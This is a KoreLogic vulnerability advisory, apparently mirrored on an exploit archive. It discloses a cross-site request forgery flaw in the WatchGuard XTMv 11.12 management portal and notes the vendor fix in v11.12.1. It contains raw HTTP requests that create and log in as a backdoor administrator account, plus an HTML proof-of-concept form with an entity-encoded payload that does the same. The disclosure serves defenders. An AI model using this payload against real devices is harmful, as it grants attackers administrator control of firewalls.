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WatchGuard XTMv 11.12 Build 516911 Cross Site Request Forgery

WatchGuard XTMv 11.12 Build 516911 Cross Site Request Forgery
Posted Mar 12, 2017
Authored by Matthew Bergin | Site korelogic.com

WatchGuard XTMv version 11.12 Build 516911 suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | d76e552d2f0dc7711c0487e3374c5934f3930f35befe6e17dc13aafd7bf6ba4a

WatchGuard XTMv 11.12 Build 516911 Cross Site Request Forgery

Change Mirror Download
KL-001-2017-004 : WatchGuard XTMv User Management Cross-Site Request Forgery

Title: WatchGuard XTMv User Management Cross-Site Request Forgery
Advisory ID: KL-001-2017-004
Publication Date: 2017.03.10
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-004.txt


1. Vulnerability Details

Affected Vendor: WatchGuard
Affected Product: XTMv
Affected Version: v11.12 Build 516911
Platform: Embedded Linux
CWE Classification: CWE-352: Cross-Site Request Forgery (CSRF)
Impact: Privileged Access
Attack vector: HTTP

2. Vulnerability Description

Lack of CSRF protection in the Add User functionality of the
XTMv management portal can be leveraged to create arbitrary
administrator-level accounts.

3. Technical Description

As observed below, no CSRF token is in use when adding a new
user to the management portal.

POST /put_data/ HTTP/1.1
Host: 1.3.3.7:8080
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 365
Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287
DNT: 1
Connection: close


{"__class__":"PageSystemManageAdminUsersObj","__module__":"modules.scripts.page.system.PageSystemManageAdminUsersObj","users":[],"add_entries":[{"__class__":"AdminUserObj","__module__":"modules.scripts.vo.AdminUserObj","name":"hacked","domain":"Firebox-DB","role":"Device
Administrator","hash":"hacked","enabled":1,"rowindex":-1}],"upd_entries":[],"del_entries":[]}

The HTTP response indicates that the changes were successful.

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Length: 68
Expires: Sun, 28 Jan 2007 00:00:00 GMT
Vary: Accept-Encoding
Server: CherryPy/3.6.0
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Date: Sat, 10 Dec 2016 18:08:22 GMT
Content-Type: application/json
Set-Cookie: session_id=50f607247265897581a407bfb8b75e30d2b77287; expires=Sat, 10 Dec 2016 19:08:22 GMT; httponly;
Path=/; secure
Connection: close

{"status": true, "message": ["The changes were saved successfully"]}

Now, the newly created backdoor account can be accessed.

POST /agent/login HTTP/1.1
Host: 1.3.3.7:8080
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Content-Length: 414
Cookie: sessionid=515F007C5BD062C2122008544DB127F80000000C; session_id=0a3d24668f5c3b2c7ba7016d179f5f574e1aaf53
DNT: 1
Connection: close


<methodCall><methodName>login</methodName><params><param><value><struct><member><name>password</name><value><string>hacked</string></value></member><member><name>user</name><value><string>hacked</string></value></member><member><name>domain</name><value><string>Firebox-DB</string></value></member><member><name>uitype</name><value><string>2</string></value></member></struct></value></param></params></methodCall>

The response below shows the application issuing an authenticated
session cookie.

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-type: text/xml
Set-Cookie: sessionid=74B0DC5119495CFF2AE8944A625558EC00000008;secure;HttpOnly
Connection: close
Date: Sat, 10 Dec 2016 19:55:26 GMT
Server: none
Content-Length: 751

<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value>
<struct>
<member><name>sid</name><value>74B0DC5119495CFF2AE8944A625558EC00000008</value></member>
<member><name>response</name><value></value></member>
<member>
<name>readwrite</name>
<value><struct>
<member><name>privilege</name><value>2</value></member>
<member><name>peer_sid</name><value>0</value></member>
<member><name>peer_name</name><value>error</value></member>
<member><name>peer_ip</name><value>0.0.0.0</value></member>
</struct></value>
</member>
</struct>
</value>
</param>
</params>
</methodResponse>

4. Mitigation and Remediation Recommendation

The vendor has remediated this vulnerability in WatchGuard
XTMv v11.12.1. Release notes and upgrade instructions are
available at:

https://www.watchguard.com/support/release-notes/fireware/11/en-US/EN_ReleaseNotes_Fireware_11_12_1/index.html

5. Credit

This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc. and Joshua Hardin.

6. Disclosure Timeline

2017.01.13 - KoreLogic sends vulnerability report and PoC to
WatchGuard.
2017.01.13 - WatchGuard acknowledges receipt of report.
2017.01.23 - WatchGuard informs KoreLogic that the
vulnerability will be addressed in the forthcoming
v11.12.1 firmware, scheduled for general
availability on or around 2017.02.21.
2017.02.22 - WatchGuard releases v11.12.1.
2017.03.10 - KoreLogic public disclosure.

7. Proof of Concept

<html>
<body>
<form action="https://1.3.3.7:8080/put_data/" method="POST" enctype="text/plain">
<input type="hidden"
name="&#x7b;&#x22;&#x5f;&#x5f;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x50;&#x61;&#x67;&#x65;&#x53;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x4d;&#x61;&#x6e;&#x61;&#x67;&#x65;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x73;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x5f;&#x5f;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x73;&#x2e;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x2e;&#x73;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x2e;&#x50;&#x61;&#x67;&#x65;&#x53;&#x79;&#x73;&#x74;&#x65;&#x6d;&#x4d;&#x61;&#x6e;&#x61;&#x67;&#x65;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x73;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x75;&#x73;&#x65;&#x72;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x2c;&#x22;&#x61;&#x64;&#x64;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x7b;&#x22;&#x5f;&#x5f;&#x63;&#x6c;&#x61;&#x73;&#x73;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x5f;&#x5f;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x5f;&#x5f;&#x22;&#x3a;&#x22;&#x6d;&#x6f;&#x64;&#x75;&#x6c;&#x65;&#x73;&#x2e;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x73;&#x2e;&#x76;&#x6f;&#x2e;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x55;&#x73;&#x65;&#x72;&#x4f;&#x62;&#x6a;&#x22;&#x2c;&#x22;&#x6e;&#x61;&#x6d;&#x65;&#x22;&#x3a;&#x22;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x33;&#x22;&#x2c;&#x22;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x22;&#x3a;&#x22;&#x46;&#x69;&#x72;&#x65;&#x62;&#x6f;&#x78;&#x2d;&#x44;&#x42;&#x22;&#x2c;&#x22;&#x72;&#x6f;&#x6c;&#x65;&#x22;&#x3a;&#x22;&#x44;&#x65;&#x76;&#x69;&#x63;&#x65;&#x20;&#x41;&#x64;&#x6d;&#x69;&#x6e;&#x69;&#x73;&#x74;&#x72;&#x61;&#x74;&#x6f;&#x72;&#x22;&#x2c;&#x22;&#x68;&#x61;&#x73;&#x68;&#x22;&#x3a;&#x22;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x33;&#x22;&#x2c;&#x22;&#x65;&#x6e;&#x61;&#x62;&#x6c;&#x65;&#x64;&#x22;&#x3a;&#x31;&#x2c;&#x22;&#x72;&#x6f;&#x77;&#x69;&#x6e;&#x64;&#x65;&#x78;&#x22;&#x3a;&#x2d;&#x31;&#x7d;&#x5d;&#x2c;&#x22;&#x75;&#x70;&#x64;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x2c;&#x22;&#x64;&#x65;&#x6c;&#x5f;&#x65;&#x6e;&#x74;&#x72;&#x69;&#x65;&#x73;&#x22;&#x3a;&#x5b;&#x5d;&#x7d;"
value="" />
<input type="submit" value="Trigger" />
</form>
</body>
</html>


The contents of this advisory are copyright(c) 2017
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

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